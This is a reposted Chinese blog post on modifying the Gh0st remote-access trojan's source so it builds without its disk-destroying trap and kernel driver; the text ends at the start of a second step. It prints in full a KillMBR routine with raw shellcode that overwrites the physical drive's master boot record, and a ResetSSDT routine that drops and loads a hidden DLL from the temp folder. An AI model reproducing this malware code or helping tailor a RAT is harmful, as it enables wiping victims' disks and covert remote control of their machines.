gh0st源码去硬盘锁与驱动

最新推荐文章于 2021-05-12 08:39:53 发布

转载最新推荐文章于 2021-05-12 08:39:53 发布 · 970 阅读

文章标签：

#gh0st

学习专栏收录该内容

4 篇文章

订阅专栏

去硬盘锁:

1.打开源文件gh0st.cpp(搜索unsigned char scode[] =)

注释以下部分:

/*
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CGh0stApp::KillMBR()
{
    HANDLE hDevice;
    DWORD dwBytesWritten, dwBytesReturned;
    BYTE pMBR[512] = {0};

    // 重新构造MBR
    memcpy(pMBR, scode, sizeof(scode) - 1);
    pMBR[510] = 0x55;
    pMBR[511] = 0xAA;

    hDevice = CreateFile
        (
        "\\\\.\\PHYSICALDRIVE0",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE)
        return -1;
    DeviceIoControl
        (
        hDevice,
        FSCTL_LOCK_VOLUME,
        NULL,
        0,
        NULL,
        0,
        &dwBytesReturned,
        NULL
        );
    // 写入病毒内容
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
    DeviceIoControl
        (
        hDevice,
        FSCTL_UNLOCK_VOLUME,
        NULL,
        0,
        NULL,
        0,
        &dwBytesReturned,
        NULL
        );
    CloseHandle(hDevice);

    ExitProcess(-1);
    return 0;
}
*/2.打开BuildView.cpp,找到以下代码注释

/*
    char    strVer[10];
    char    strTitle[10];

    strVer[0] = 'C';
    strVer[1] = '.';
    strVer[2] = 'R';
    strVer[3] = 'u';
    strVer[4] = 'f';
    strVer[5] = 'u';
    strVer[6] = 's';
    strVer[7] = ' ';
    strVer[8] = 'S';
    strVer[9] = '\0';

    strTitle[0] = 'G';
    strTitle[1] = 'h';
    strTitle[2] = '0';
    strTitle[3] = 's';
    strTitle[4] = 't';
    strTitle[5] = ' ';
    strTitle[6] = 'R';
    strTitle[7] = 'A';
    strTitle[8] = 'T';
    strTitle[9] = '\0';

    CString str;
    GetDlgItemText(IDC_STATIC_VER, str);
    if (str.Find(strVer) == -1)
        ((CGh0stApp *)AfxGetApp())->KillMBR();

    GetParent()->GetWindowText(str);
    if (str.Find(strTitle) == -1)
        ((CGh0stApp *)AfxGetApp())->KillMBR();
*/3.打开头文件的gh0st.h,注释掉

//int KillMBR();完成。

去除驱动文件:

1.搜索ResetSSDT,要从根文件夹搜索.

第一处

/*bool ResetSSDT(HMODULE    hModule)
{
    typedef bool (__stdcall * LPResetSSDT)();
    bool    bRet = true;
    char    strTmpPath[MAX_PATH];
    char    strDllPath[MAX_PATH];

    GetTempPath(sizeof(strTmpPath), strTmpPath);
    GetTempPath(sizeof(strDllPath), strDllPath);
    wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount());

    try
    {
        ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL);

        HMODULE hDll = LoadLibrary(strDllPath);
        if (hDll == NULL)
        {
            throw "";
        }

        LPResetSSDT ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");
        if (ResetSSDT == NULL)
            throw "";
        ResetSSDT();
        FreeLibrary(hDll);

    }catch(...)
    {
        bRet = false;
        DeleteFile(strDllPath);
    }

    return bRet;
}
*/第二处